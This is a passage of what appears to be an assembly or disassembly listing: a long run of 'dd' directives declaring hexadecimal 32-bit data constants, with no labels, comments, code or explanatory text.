		dd 44324C6Ah, 0ABB8FC80h, 8100287Ch, 20AED518h,	9F7A39h
		dd 0F1A52C5h, 34C92F98h, 18E9EF00h, 0A315F0DCh,	6EF40F6Ah
		dd 734126CFh, 3E9ED04Dh, 0E5A88020h, 0C7BC0010h, 5A4EA65Bh
		dd 0AB2D9CF7h, 8F9C9A16h, 1B7B2438h, 901330ADh,	50A8B422h
		dd 2D3038B2h, 0CBC5E093h, 0F250584h, 0E5718360h, 0CC2FE020h
		dd 59CA3900h, 0E14AB9B1h, 51F33F12h, 2302AA81h,	2EA780FBh
		dd 0A50E5021h, 56F07031h, 302A0535h, 0B4B88738h, 8E3D7268h
		dd 17670027h, 2CEDC880h, 12BA768Dh, 90B91665h, 0F3CF452Ch
		dd 0A2A0990Eh, 0C93F40DBh, 47929CDh, 0E0D2C88Eh, 0F5FA4070h
		dd 0EA2DE48h, 1C7A8DCEh, 3D0B3700h, 13B6BBCh, 5DF80FDh
		dd 24070DE0h, 0E43B4818h, 0FB9A1309h, 0FD02DCCCh, 17348374h
		dd 4E2476E0h, 401FB7AFh, 48A84CCEh, 6CE4871Dh, 78BF1504h
		dd 88ACE755h, 0DD6A8280h, 0E500997Fh, 0E920C731h, 10F9C42h
		dd 0BE8A340Bh, 70E72DF1h, 0B84C5AD4h, 0B5C880CCh, 564E5E6h
		dd 4C75E93Ch, 4212D070h, 0A0C207FAh, 0E03F3B0Fh, 7D416BC4h
		dd 0BBCE09E2h, 7864EDB0h, 601B2A00h, 7819872Ch,	17A60068h
		dd 5C31BD42h, 29097902h, 8006AB34h, 5148B47Ch, 0E9CC6A93h
		dd 4820E4h, 92375473h, 0CA9FAFC4h, 0E79A5300h, 2F4071A0h
		dd 2B6702C2h, 439B7404h, 0D1253052h, 368C48Dh, 6B34D5EAh
		dd 3C07242h, 44991A9Eh,	7F5C002Dh, 0AAD771h, 8298CB3Dh
		dd 0FF15C9D3h, 0C1B7AB05h, 58C39372h, 0C5DEB0B0h, 20715036h
		dd 734A0132h, 0D28A135Eh, 3F40E07Fh, 3151D500h,	0CB7C1030h
		dd 771C012Ch, 509E5682h, 242DE1h, 0E71BDB03h, 4D6794Fh
		dd 0BDB3460Eh, 478ACC6h, 0D8A7828Ah, 2CFE0C88h,	9A62DB9h
		dd 9C681A90h
		dd 7E00D671h, 0E22428F3h, 0F6197ABBh, 6FE12A6h,	0E9B8B027h
		dd 0E83D132Ch, 14FC6D00h, 2DEE856h, 2B6A9EC8h, 6C543A8Eh
		dd 8C20AF47h, 0E61BC9A6h, 12F8C192h, 220162FCh,	0CAE050FCh
		dd 0F8481497h, 0F0189737h, 0DF0A87B1h, 0BE749C5Fh, 94479A01h
		dd 79FA90B3h, 0ACA0060h, 0E9CED751h, 97B9B809h,	0FE3C4843h
		dd 0DDF70370h, 2A9EDFA3h, 9FD6D03Ah, 0A0AF1932h, 10AFBFE4h
		dd 3DC60FCFh, 0A939689Ch, 803028C3h, 15CE3474h,	0EAC9002Eh
		dd 0D22AE19Dh, 0ED00368Ah, 76DACDC1h, 99E49ABFh, 0AB010020h
		dd 0ECCC65D1h, 661218F6h, 94B27D9Dh, 4DC2A007h,	272BD30Bh
		dd 241229D8h, 0B60638h,	72ED2E69h, 99077B0Dh, 234B00E4h
		dd 0CB615F4Dh, 0C8054B8h, 8312A734h, 70E22CD0h,	0C09B821Fh
		dd 11E2C80Ch, 6A004D2Fh, 0FD761FCAh, 0E2682530h, 3774A19Bh
		dd 0F9A7DD4h, 93EF5C57h, 463005B6h, 0FFC4004Ah,	9A689D49h
		dd 1C0044B1h, 95AA08BAh, 0DE190751h, 0A478E557h, 0E0AD71h
		dd 0D3CD08B2h, 9595B913h, 0E1585C90h, 7225D400h, 7EC8C90Ah
		dd 0DA40078h, 7FFD783h,	5B03D070h, 93575FD6h, 0B771091Ah
		dd 0F4806A49h, 404388EDh, 9081B48h, 0FF17867h, 4C572044h
		dd 52B623h, 0CFDEC624h,	1EBE3411h, 0C89CB01h, 0B97D9C72h
		dd 25F0A18Eh, 87DD5C20h, 4010D18h, 66AE9507h, 0B9CD9ACEh
		dd 770B9C22h, 0E3034052h, 41B63490h, 8794B94Ch,	0F3E0CC68h
		dd 13E8CD8h, 67536B64h,	483A97F5h, 24093398h, 842651BFh
		dd 48A24318h, 8027DE21h, 43CF70F0h, 0A6BCA0CCh,	71FD0416h
		dd 0ECE75942h, 1B688010h, 1E8306DEh, 0D284EAF2h, 0B28C8889h
		dd 0B138C800h, 0DC1C2F45h, 0D74909FDh, 80055150h, 0C0A4ACADh
		dd 4EFCF57Dh, 7B80091Dh, 3058E26Ch, 18C8320Eh, 90C81309h
		dd 0E4D00D4h, 42D0ABEDh, 0A078F690h, 0AAD87B00h, 9F195FFFh
		dd 4C6BFEC4h, 0D72674CDh, 4FD100DDh, 0BC4C1C66h, 83025890h
		dd 7BBA5412h, 86647A1Ah, 0D58B0594h, 307F416Dh,	0FB882ED4h
		dd 6016A901h, 6179C1E7h, 0A0E246F8h, 0E015C8FCh, 0CB191364h
		dd 27FC887Eh, 8307467Eh, 1B396B4h, 0FC08E7A0h, 42730268h
		dd 1618488Fh, 36FF0A60h, 24694902h, 8F477556h, 370291D0h
		dd 71344EB6h, 62070464h, 721D76CBh, 45C6E8F0h, 0CD9500F0h
		dd 776F3BE6h, 6825A710h, 0FCE4CAh, 2F7F8309h, 6972E349h
		dd 9A2649B8h, 1B4114E5h, 90226CAEh, 0E44A1F06h,	7801B675h
		dd 0CA44567Eh, 15E83E89h, 1C02B55Fh, 0C4C02A41h, 0A826DED4h
		dd 70003E87h, 97285C83h, 0E81C27E4h, 303AA8E1h,	423A47DCh
		dd 7B5A0BFCh, 1210461Eh, 201097C8h, 0EEB63448h,	6EDA401h
		dd 8E6A908Ch, 8187102Ch, 0A825E0E2h, 0E800BDE1h, 0B023DB5h
		dd 0E210D901h, 0CB733887h, 57682981h, 6D6C2B65h, 0E44838h
		dd 0E03172EEh, 722E07EDh, 0C4441E97h, 24D3C2C6h, 0C0C69268h
		dd 4B0F78EEh, 80E2A814h, 41DB4F1Ch, 30622DF7h, 36E01C80h
		dd 58253DCAh, 0F8C40Bh,	1DF29CB1h, 8255192Fh, 90B53CB0h
		dd 73C597Ch, 50A5916Fh,	7C5CF28Ch, 8E119081h, 6A3F00C7h
		dd 1C10B729h, 6600C0E8h, 4302762Fh, 7DD0C2h, 9162B355h
		dd 0D2E5D375h, 7077B000h, 48C3BAEDh, 20E74A9Bh,	8C24B2C8h
		dd 0E643089Ch, 831D88BEh, 693D00C7h, 7234D221h,	9101FD87h
		dd 3BB62620h, 203F509Bh, 0A6DE88F4h, 840195F8h,	74F6FB2Ah
		dd 22D001C9h, 0AADA09ABh, 0AC440E8Ah, 861DA5E4h, 22805571h
		dd 208BDCFDh, 0A0B526D0h, 0AFA2042Ch, 74A0C13Eh, 1CB620E7h
		dd 542CC513h, 7700DCB3h, 7A3D1689h, 1D2E33D8h, 9B0F3119h
		dd 0B134E01Ch, 5C1BD681h, 7D2D8031h, 6B00D464h,	0E4F1A833h
		dd 3EC7AE1Ah, 755B4Dh, 70E25096h, 498A0CA3h, 0B4109B24h
		dd 0BE58014Bh, 839D190h, 13BBB950h, 21855AEh, 9E1A2124h
		dd 0D0F3FC80h, 1587B1Eh, 3E7D8080h, 2F8C5352h, 0FCA1B8A1h
		dd 0CCE9F5BFh, 4D005E81h, 0D59C95DFh, 9EFD3AAh,	1EC6C13Dh
		dd 2B00D0F1h, 0E0EC0A67h, 46770A9Dh, 74C5E4Eh, 5170CA2Ch
		dd 97DCC4CCh, 0D0018BE0h, 6DAB608Dh, 1D7BC20h, 0EE5DB5A3h
		dd 5397EABDh, 0A873698Ch, 565CC18Ah, 0E2583F10h, 2C625A00h
		dd 6867D7BAh, 0B9C4919Dh, 27495D05h, 54A20Bh, 6A1E2640h
		dd 38A6354Bh, 5B003E3Ch, 0D79ADC05h, 68B62DA5h,	0A0B3F780h
		dd 0EFBF09h, 0EDA301DDh, 0FD7FD7E1h, 0C820CD4Fh, 7DFA558Ch
		dd 5CC92E1Eh, 60F8244Ah, 879340DCh, 41793C00h, 0DACC8EF3h
		dd 68165062h, 70C1002Ah, 5CEA34F9h, 1B5B9061h, 0FE7CE8D0h
		dd 40348866h, 71286E05h, 684010C1h, 7E2A6C7Dh, 90750080h
		dd 0FD347AE0h, 0EA049E60h, 5D91D6AFh, 0C00D78D2h, 8AB7E49Ch
		dd 32405056h, 0F0C69EACh, 61500163h, 0A7BA7931h, 28433BD2h
		dd 997BBE15h, 0D7F1213Dh, 0FDC517h, 6F7A2F44h, 0B1702DA2h
		dd 79C35100h, 0C672A5A9h, 0F069C0B8h, 0A44963F1h, 5905600h
		dd 874A777Dh, 0C5C84AF2h, 0CC448268h, 27784464h, 9479D00h
		dd 51E63C18h, 0ECD558CAh, 885A0F12h, 0C607F62Ch, 1DBF16EAh
		dd 76A70AA0h, 0D84000E4h, 355BCC39h, 0D216DB8Dh, 1090E0C9h
		dd 2C759AFh, 0AEC40718h, 29E194C3h, 0AAE0C8CBh,	0D62FF501h
		dd 0B19897D0h, 88904FDBh, 443F9A5Ch, 0F3A2004Bh, 0CC40D822h
		dd 0CF420B6Ch, 98723BACh, 27014172h, 0D13AB41Dh, 2808971h
		dd 6A080635h, 0D216D579h, 5C3014C4h, 1999EAAh, 72F1BD39h
		dd 0EC5DE1F7h, 5900CA5Ah, 307B6028h, 951D7A6h, 0B96B75FFh
		dd 0F80078FAh, 56E3E03Ch, 1B35A3h, 66B8B1DAh, 0D70F7571h
		dd 64039CE6h, 0D3905426h, 88714F1Bh, 0CB006598h, 0DC690382h
		dd 5501EFh, 4AAC2D7Dh, 18C03D29h, 895B0200h, 6AC1E3ABh
		dd 7C9D2566h, 0C4174CE4h, 7C001F1Ch, 7830A5DCh,	0BED77D33h
		dd 0F4E74064h, 0B400A3B8h, 1AFE0549h, 93A59Ch, 34430748h
		dd 79458F39h, 0C0142C5Ch, 9CA0544Dh, 0FF1900B4h, 4952F14Bh
		dd 0CC003677h, 63E80BEDh, 9460044Dh, 0F3B0060h,	1BBED15Bh
		dd 5A10105Ch, 90FDD049h, 7F91ECh, 0CEF7AB9Bh, 0EFC3D1ACh
		dd 8E7EBB00h, 0B8282377h, 89C64FD3h, 9F4BDC50h,	22083006h
		dd 7641955h, 0D7287503h, 7C596962h, 79676A02h, 458FC1Eh
		dd 402C6C80h, 0E374453Fh, 0A4C405DEh, 85D2AE81h, 0CF90C8EAh
		dd 0CEF43600h, 0B0D62D77h, 0CBC50818h, 0B58099B8h, 95529C39h
		dd 4ED007Dh, 0D0B385F2h, 49443861h, 0C6230017h,	4021AD4Dh
		dd 0CC005090h, 87670357h, 1D4A5A3h, 0DF4B7301h,	3F2D9EFCh
		dd 9400B45Dh, 0A2DB59A3h, 839103B6h, 0F9CB071h,	0CB44C9A0h
		dd 0B821A901h, 3B622A76h, 0AADF3840h, 5A430039h, 0E7C7F4E4h
		dd 293A3DF8h, 71F102E8h, 0E4FE190Fh, 0A49B071Ch, 434F9538h
		dd 0F6F10701h, 8C91F7E1h, 53B3C4B8h, 8018DE00h,	269C615Ah
		dd 0EFED0122h, 0AD9A1D13h, 0FBC3D010h, 0DE139h,	58E362FFh
		dd 28202276h, 300CE95Bh, 6D5923BEh, 290A1041h, 10FAC820h
		dd 122BA1Dh, 2471406Eh,	807402B9h, 68BE9A28h, 0FEBA2CAh
		dd 0ABCF6E38h, 631E1103h, 0C07983A9h, 410CE66Bh, 406D2160h
		dd 0FFFA041Ah, 0C26E8C73h, 4080BDF1h, 1971086Bh, 0F4A64C11h
		dd 95009E58h, 24F2DB1Fh, 1009678h, 0B81A9046h, 3A3E61DFh
		dd 8F005802h, 1124A904h, 3D30D6A1h, 7EF740F1h, 75920016h
		dd 0C984EBE6h, 9F01E0D0h, 1D981159h, 6980EECFh,	98E9366h
		dd 61067A43h, 22B9F358h
		dd 1577999h, 0AB92CC91h, 810E3A88h, 0E093CD18h,	38F0A82Ch
		dd 270EA02h, 8A1BECFFh,	1480963Eh, 8D3B3947h, 0E69FE31Dh
		dd 4E6DC5C1h, 21BC4389h, 7C30D500h, 66DDE0A8h, 921D0800h
		dd 6178A2AEh, 28820183h, 208D6740h, 0FF8C48BDh,	0A1F73C37h
		dd 194CCFC7h, 2857773h,	2D8AC1DBh, 0CB20E6A9h, 7831892h
		dd 4DCEAB81h, 0CF78401Bh, 1D601AAEh, 0A8345849h, 555000D2h
		dd 1F031002h, 6A008589h, 6E4D6F68h, 9032671Eh, 1DF14420h
		dd 7788B21Fh, 56CD9B40h, 0E261D3h, 0F86319DCh, 6D8DA42Bh
		dd 0D01EE53Ch, 107C8634h, 7F3B1300h, 0DE2DAE2Ch, 0E4D8009Ah
		dd 0A5F9B420h, 962C2651h, 3613BA53h, 89672207h,	6EB892F1h
		dd 481B1CCCh, 0B50340E5h, 6FD4CCA5h, 386C69A0h,	53F9C000h
		dd 0A8ABBE02h, 0A8E2600Bh, 0F37919D5h, 0A0B2E500h, 4A4B16F7h
		dd 0E0A0364h, 0F6CC700Ch, 487C6A91h, 783BC1CCh,	0A5158034h
		dd 6D3C1DBBh, 3E250039h, 631118D6h, 2B006480h, 9B36E7A0h
		dd 4C0AC121h, 0A81570F3h, 710090F5h, 0E39CD03Fh, 8F0AA7FBh
		dd 0EC7C1464h, 0A3FCA600h, 1BD17B4Dh, 7940696Ah, 760CD8F0h
		dd 34573203h, 0EDD6A2CBh, 0C07FF04Eh, 671BD925h, 349B0046h
		dd 40C021F6h, 1C00395Ch, 0A57F5DF5h, 9730262h, 85671F54h
		dd 47FCE804h, 38806E1Ah, 5A3ABE6h, 0D699572Bh, 95E84748h
		dd 0B5BA20C0h, 2224E5B6h, 0D502B491h, 10A9D7Bh,	2083DF96h
		dd 600BDE4h, 53A357F6h,	15AFE6FAh, 64806AE3h, 95A0D706h
		dd 3307113Fh, 0C6F4AF3Ah, 13BF11D0h, 8B7A0018h,	66B26A7Fh
		dd 6C125190h, 7C00A04Eh, 3646CFCCh, 48A40003h, 0A39B110Ch
		dd 940E2A02h, 80513857h, 9566B06Dh, 8941186Ch, 84AC6946h
		dd 30037518h, 247F9FB0h, 4084A8B1h, 44523EFAh, 795C700h
		dd 57DC1E03h, 7E833AFFh, 6CC0CF00h, 0B558098h, 26436938h
		dd 6A6050B8h, 0E2A39A4Ch, 6FE91DA6h, 0DBA5C1C4h, 28B85D7Fh
		dd 4C7B0023h, 3362C82Ah, 9DBF3988h, 9B7DE480h, 0A1EA06B5h
		dd 0D8BD1D24h, 0E36AFF43h, 206DF961h, 7310EFD1h, 0D80F6C3Bh
		dd 4525D0A2h, 0B6C7C026h, 40626080h, 0F7BD3B97h, 2491BE01h
		dd 60AB3CAFh, 0B4ECE05Fh, 3BB06A02h, 4B0DA647h,	0AB70F080h
		dd 5E0401D5h, 0B31675C1h, 53C0C081h, 11BF9B00h,	38581F6Ah
		dd 3CCB24A0h, 40ED9C08h, 94B7CF36h, 0CC020A04h,	0A72EFC79h
		dd 3C944495h, 0BC8034D1h, 50A3E322h, 7160CBA2h,	5F36B3E1h
		dd 0BDC80093h, 0B9650688h, 57004B26h, 397ED60Ch, 7FBCE0B1h
		dd 3C1491EEh, 69B79E80h, 40AA705Dh, 78337300h, 106F71D7h
		dd 0ACE7AC8h, 0F4182FD5h, 0FDFB80CCh, 85BCC769h, 0BF5C9B04h
		dd 0E7804CE6h, 0A9FA8Ah, 108C368Dh, 7C037869h, 7E762D00h
		dd 20C771FCh, 6ACA33FFh, 0AE88DCF1h, 251CB306h,	2BC0586Fh
		dd 51425F20h, 447C98AFh, 3E6195FFh, 0D6E417B1h,	5EBB7880h
		dd 0D8920921h, 3034FDFDh, 706194DCh, 46D63008h,	7BBA6980h
		dd 596AA91Fh, 19C3AB00h, 0C1BE4A6Ch, 758A0070h,	0F2E3583Bh
		dd 0C21C92CFh, 0A5C290CDh, 4023E55Ch, 16B303DCh, 21A21D14h
		dd 31216C60h, 621AF190h, 2925005Ch, 6AC90E26h, 248D4C58h
		dd 0FC6603C0h, 4960C632h, 6EEF968Eh, 3A070011h,	0C018707Ch
		dd 58A0D56Bh, 80005498h, 0D740A393h, 0C215AFh, 0CBCEDC26h
		dd 70569A2Fh, 0F98C2Eh,	2ABA6902h, 0F5744057h, 8E6688EEh
		dd 8FC0BFEh, 98C6F300h,	1AA0D0BCh, 143F036Fh, 56483467h
		dd 0C44182A2h, 8020A8A8h, 0B0173601h, 2298B2EEh, 6B419180h
		dd 0AB9A2151h, 0C560A24Ch, 38C02DA9h, 0F0D53314h, 3270167Ah
		dd 0BDE8085Eh, 94D9D040h, 0CC6C507Fh, 70D62992h, 83003A8Ch
		dd 0D2DC3655h, 35E68EEBh, 0EF48E80Fh, 0FFA22190h, 498D1E32h
		dd 20794FD5h, 6A002A77h, 675462DBh, 7283970h, 0A5F4367Bh
		dd 0D804CB65h, 8FE05924h, 59BA3F0h, 0C72146C4h,	80945EF9h
		dd 39DD12E2h, 482EA7C1h, 6A402489h, 0E818BCCDh,	46A51761h
		dd 0D1440ACh, 427E7383h, 812829CBh, 84518858h, 263BD430h
		dd 0BE48B5Ch, 9A83F6C7h, 0BB8211EFh, 8E0020E4h,	23ABFB4Bh
		dd 2C396BF9h, 42606021h, 34E6C0FFh, 7D00C742h, 4D67EF25h
		dd 361257F8h, 4C000E4Fh, 0B51715F9h, 92820270h,	0A5ECD41Bh
		dd 5539EB87h, 6B2C00A9h, 58533630h, 0A618B00h, 7EEC28Fh
		dd 4F053D19h, 0D0B13F83h, 6AA238D7h, 0C6044864h, 1E8072BDh
		dd 17BBF8CCh, 843A5B7h,	7F8049FCh, 0EA85E455h, 0DDB9004Dh
		dd 0A3980678h, 0DB75EB0Fh, 0C3F2AE17h, 47BFF060h, 58731870h
		dd 0E59B1085h, 0A33B9800h, 9FBE3443h, 9CF0FD10h, 3B9A7CB9h
		dd 6A0C7959h, 18895572h, 5C000C91h, 652A0587h, 7DEA0F01h
		dd 6FA47ADEh, 46B1C3BDh, 8782CFE9h, 0E86C5A06h,	0A0F3A662h
		dd 35E0FE8Ch, 8C580609h, 726AC52Ah, 78A07AE6h, 2C76415Fh
		dd 84799B28h, 0F40DA720h, 0F9BE6Eh, 1F08A1C9h, 1726797Dh
		dd 8940941Ah, 0E71DDCFh, 87E6963Ch, 747F45C3h, 4B09C2B0h
		dd 1B24C807h, 61E0C6B8h, 0A1F799Eh, 1375B211h, 304193FCh
		dd 3E7B66D4h, 6F128500h, 0B72B77Dh, 71757A23h, 117E3E14h
		dd 0C822E02h, 0E0C0416Eh, 56185ED9h, 8C91F31Ah,	0F7830721h
		dd 0E0EB8031h, 794CAB7h, 8D680B24h, 0F3898103h,	3C7172AFh
		dd 0C3284119h, 3BE50008h, 0C98F2371h, 69069B1Dh, 0F51A990Bh
		dd 6E9A0E21h, 0D5604CCCh, 0CBD0C4A6h, 558B7909h, 703C8057h
		dd 0FF2C38DBh, 7F002032h, 52A2BF18h, 0F6E0D88Fh, 8EB14018h
		dd 90590D51h, 50D00A48h, 81BCBC89h, 255767Bh, 469BE88Fh
		dd 4D26F400h, 22F1751Dh, 186FFE5Fh, 0B9527473h,	1C996AB2h
		dd 0FC20A912h, 4D5C540h, 1D0A55BBh, 70DCB4CFh, 3809927Bh
		dd 42C415h, 29AB6168h, 79072665h, 82624h, 0D6AFC3D8h, 5B026BECh
		dd 0F9A2406Fh, 89006086h, 0C4BD5CC2h, 7AFF41C0h, 70007501h
		dd 9157BE9Dh, 7C6EB81Ch, 124F0373h, 0A5A6E4FCh,	99555805h
		dd 804F45D6h, 0E2B7E087h, 501A51h, 0A3386457h, 44B8B38Bh
		dd 968FEA05h, 0D4489D89h, 3A9C800Dh, 3458021Eh,	0D525BF13h
		dd 7CB1E420h, 5ACE0686h, 0B845AE36h, 0BA8BE601h, 0C6202901h
		dd 778479A0h, 0B36109FCh, 6B00BDAFh, 7E225C63h,	0F916CBEEh
		dd 8001D858h, 176BBC90h, 0F2A8398Ch, 55FCF641h,	81FD603h
		dd 0A00157A0h, 59DB6Ch,	9BD98EBCh, 0F365C1A7h, 0A6800C99h
		dd 50248DE8h, 0B14B0D25h, 30B93EA0h, 6C0A8AA8h,	0AC456773h
		dd 41E3C080h, 9A65DF7Eh, 2E263CBCh, 63307801h, 0C0BDD835h
		dd 0F176AF3h, 603037E4h, 62EF88h, 0EE7475AEh, 0E560B591h
		dd 3F78150Eh, 873902E9h, 6C4695h, 9CE8BA0h, 27FEAA97h
		dd 15C7B4Ch, 1234578Ch,	40FA9C82h, 1D43DBB8h, 30CB1BD4h
		dd 0E5887B9h, 0E62E68E0h, 96001B50h, 88E47EC4h,	88835813h
		dd 0D68E9B00h, 55CC4357h, 0E1388930h, 7D9F36Ah,	0A6C26EC5h
		dd 849720ACh, 0E705621Ah, 0D690743Dh, 7FD341Fh,	0A971299Fh
		dd 0FF281770h, 0B580926h, 64E81AADh, 0A000FCA6h, 5AFB151Fh
		dd 613A30h, 6E2618A1h, 7988B221h, 80B4895Ch, 0DE0BE0C5h
		dd 97C60085h, 0CD13BD96h, 0CCB860DDh, 484DEF44h, 5809B8FFh
		dd 0C4E681h, 0E6A8000h,	0FEF0EC90h, 0E35A0013h,	0AE9E35D6h
		dd 3D1869EBh, 31383385h, 8B3C04A5h, 0A4A970ABh,	9C03CAA0h
		dd 87297242h, 718D8076h, 18071EADh, 697B80FBh, 0FE5B1D11h
		dd 9A989C7h
		dd 26C4C983h, 47E08811h, 90BB4175h, 80543CCDh, 4DADDF64h
		dd 57BA00C0h, 0E5A81315h, 671D5999h, 44E81989h,	0BE2B300Bh
		dd 0CEBA804Dh, 0FAAD9F36h, 0FB8100EDh, 10FF25C3h, 2C99601Dh
		dd 7950950Ch, 20CF0081h, 8D12FDA1h, 1000AFA9h, 822CEBD5h
		dd 1E440A42h, 0E4067DEDh, 0DC754F4Ch, 5C016280h, 5700E05Eh
		dd 824C0FEAh, 98B2F99Bh, 691B0088h, 0BE1AD7FAh,	0A75CC6E6h
		dd 44FE2EE0h, 53138130h, 7C617007h, 819D1CBEh, 959380FFh
		dd 67DF04BFh, 7FD4385Ch, 76DEB44h, 0C61BB861h, 7007C07Dh
		dd 797C6741h, 6F406C9Eh, 7B8DE8Dh, 91BF041Ah, 0A96E8377h
		dd 3F984085h, 0B3D1C58Fh, 0AB30F800h, 19DC9DEAh, 5CBB768Bh
		dd 7D8CEBh, 0CDA54244h,	0CCABFF54h, 0C2834E00h,	4CE923E4h
		dd 22689824h, 0D2580EC5h, 0B353B3Ch, 883C10D1h,	483C488Ch
		dd 58D8305Ch, 0E4D1A0FFh, 0FDA2301Dh, 69ABE521h, 6C960724h
		dd 53D79D40h, 0E2910309h, 82A1F6E3h, 0A54F8890h, 13629E00h
		dd 7C5E3467h, 76281FA4h, 80D9389h, 8D80F454h, 0AE6DB49Ch
		dd 43380027h, 61A9518Fh, 6A0FE7E6h, 0CBCF5788h,	8B982017h
		dd 3FA2EAF4h, 228903E2h, 6C9169B2h, 0E76BC024h,	46973B00h
		dd 0FC716D1Bh, 0B3CF0327h, 0F451A6A5h, 9C483022h, 43074074h
		dd 502557Ah, 9B158A20h,	8798E014h, 2C56EA99h, 7E62F3h
		dd 0BBC8C101h, 0DC04236Ch, 5DDFE08Fh, 28793CC0h, 3A2F2BEh
		dd 603F3470h, 9B905710h, 0D70C32A3h, 481B6EAFh,	0B05850FDh
		dd 52F72CB5h, 714B0454h, 94A88CB9h, 0BCF2E003h,	0F8227728h
		dd 482D44CEh, 3B18F039h, 6E85706Dh, 8C916100h, 0ABDC87FDh
		dd 0A63312DBh, 903C0017h, 4C7C5407h, 278D1F58h,	0F06CA874h
		dd 3C013F16h, 0F62F8550h, 38D42060h, 990163B0h,	736AE6B8h
		dd 74184143h, 0C6998147h, 0FC6C2CCBh, 2AFB9420h, 92C7B6Ah
		dd 0C0FFD3D0h, 89004C46h, 0B0735029h, 48C9202Ah, 76A1ECF8h
		dd 0C8FCC4BAh, 0C26D0500h, 82E62A10h, 5A80079Fh, 7B022457h
		dd 0D7903864h, 45ACD000h, 14B267DDh, 231804D9h,	8CBAF3D4h
		dd 77037BD8h, 0ADD7A365h, 0E0A5AA1Dh, 1FB0C96h,	474A5903h
		dd 327C6AC0h, 74690E6Ch, 0CAEF85D2h, 2618C8h, 0B1432440h
		dd 148A2B86h, 8983D700h, 29DE2E9Fh, 2DB2F2A4h, 0AC90B145h
		dd 5607F401h, 0CC07C66Fh, 0A9080599h, 757CB4h, 3BE2AA47h
		dd 0F8C8BC28h, 6A44CEC0h, 28B21B01h, 0D8A105h, 2B8E82B0h
		dd 27E3CA7Ah, 9830117Eh, 936099DBh, 0A9E237h, 58EA26Fh
		dd 40701B24h, 8C15814h,	0AFD3A0F8h, 83A0177Ah, 75E008FAh
		dd 3412A8A8h, 0FC00122Fh, 0A0E5D7D0h, 0A496F49Ch, 3B3600D0h
		dd 0F65D78D9h, 4058AA4h, 0B1293C68h, 81FA1080h,	19B901C7h
		dd 766AD3BEh, 4439A42Fh, 0B72DB507h, 0C008A550h, 0A6400138h
		dd 0F34C1294h, 88CC2C32h, 0F3841BCh, 0A71987F8h, 10B04FF3h
		dd 24B1CA23h, 9CCED0h, 0B014403h, 19513958h, 328840B0h
		dd 0AD14CF5Dh, 80E0CB13h, 0BFBC7EEAh, 0C1709Dh,	0C63F1648h
		dd 0F2E3E71Eh, 30EB4F07h, 0B8A5B4FEh, 4C058CA0h, 852438E8h
		dd 17C026CCh, 0D0CC1850h, 355178DBh, 0B8E54094h, 600716FEh
		dd 19AAC8CBh, 95D827A1h, 6100682Dh, 0A3B73053h,	5A07D08Ch
		dd 7502BCCEh, 0C4CC9835h, 6D3116B0h, 0AD7820A6h, 380422ECh
		dd 401A09D5h, 3BFDB480h, 208C1667h, 950C22C3h, 0B9716CE4h
		dd 0C4018B00h, 0A31DC8F3h, 9660185Bh, 3BB6897Dh, 3D5A0A00h
		dd 0BE891124h, 64D3099Dh, 340472F3h, 5828C092h,	1B254B05h
		dd 20F42189h, 90F8EB42h, 563D005Bh, 8C7159CDh, 2305E617h
		dd 417B8643h, 0DF92C85Dh, 170F340Eh, 5A6BC8C8h,	163420D8h
		dd 830BE464h, 180F20h, 6B27BA8Fh, 9EB8A0BDh, 0B5DB1C11h
		dd 1F3E8B82h, 49F11004h, 0E28C90D5h, 0FD7400BCh, 1EE58B13h
		dd 8200EBD3h, 0F114196h, 0E6F53658h, 0FC3806E6h, 0A02699A5h
		dd 9EBCEF0Bh, 0D084E033h, 90A84AA9h, 0CE829F10h, 0C62D5E1Ch
		dd 2A0A24E4h, 85028C45h, 438F9A20h, 6F9BF864h, 2AA4B05Eh
		dd 0A2E02FBAh, 8068455Ch, 26A110A9h, 2FE81B0Bh,	0C8EB3F01h
		dd 0C46C4486h, 0E25425E0h, 437A0070h, 4C8FC161h, 184A28D1h
		dd 0F1AB2C40h, 0C6644C9h, 6723AC92h, 0D89E3198h, 0A0F31543h
		dd 0C7B7CCh, 4021D74h, 384AD2C1h, 2FEA6490h, 0D98D3302h
		dd 0DAD60ACCh, 0F4A0010h, 0FC866764h, 0DC60797Ch, 0C615EC30h
		dd 36570085h, 0C3463EA9h, 84B6160Fh, 0D870BB47h, 9F6528h
		dd 8A3BCA58h, 0AC0475FDh, 0BA067801h, 41502B6Fh, 155E7970h
		dd 0A460ADBEh, 5CF08B28h, 0E0511CBFh, 0D080D8F9h, 11C18E8Ch
		dd 462C03FFh, 7511CCE6h, 0BAB63600h, 0BC98B0AEh, 0E4A08828h
		dd 8F37F018h, 0B745110h, 0D65B209Bh, 22195C91h,	9400718h
		dd 0A5906245h, 50EF6Ch,	0CC34D4B4h, 96F91555h, 482E1F03h
		dd 1EE8A946h, 40746D41h, 0EBE9636Eh, 104C1191h,	67A58050h
		dd 5D9F1295h, 807905Ah,	50D09B1Eh, 38307550h, 1BE553Ch
		dd 0E0B819EFh, 2880ECA5h, 7FEDB02Ah, 6F001D63h,	3F92CC49h
		dd 2DAFD48Eh, 68A2CB14h, 2840CEB6h, 8500DA5Dh, 0BF623FBAh
		dd 780E8265h, 802079Bh,	0B3617B8Eh, 0EE82C043h,	0A23BC0C0h
		dd 0E4EF3C09h, 84519Bh,	8A5A216Ah, 3E004879h, 0DECD7AE0h
		dd 2ADDDEFh, 411B0D2Eh,	18800F40h, 0FFEE6ACCh, 6DB55700h
		dd 0BC1F3BBh, 0E86003Dh, 0CF465537h, 809597CBh,	7F7A18A0h
		dd 0C00A4A11h, 345808D4h, 0D4831F24h, 0C529AB60h, 0E76C00A7h
		dd 0D9C95008h, 765053C2h, 0D88BEAD4h, 20BA82h, 8D5B0A15h
		dd 7773DA36h, 70B05A00h, 908A3994h, 596D0446h, 0B5D59C76h
		dd 8E7EE8D0h, 9D13DF03h, 88AF9E33h, 28C01791h, 1E301A7Fh
		dd 7FD6586h, 0C3AD9C67h, 77D0CDC4h, 6FF65694h, 2F12125h
		dd 71746AF8h, 0D4D70084h, 0A999970Dh, 110E749h,	0AF393B05h
		dd 68715C92h, 0A0B0C4C6h, 2504766Ch, 0E4901DA1h, 0D6309810h
		dd 185FB174h, 3D851F33h, 0C61D0903h, 6F006851h,	62F35AE2h
		dd 803C96C7h, 0E4B73F03h, 0FD05982Ah, 0B9F3591Dh, 8A001CA6h
		dd 621B30B3h, 76072F8Dh, 594028FCh, 0FBACC70h, 44FCBA20h
		dd 0FF767041h, 8F0C8958h, 602640E4h, 1FB8E48h, 86C7125Bh
		dd 6C644EE6h, 0FC2DCAC8h, 9CFC6700h, 0C0448950h, 0C8B5B919h
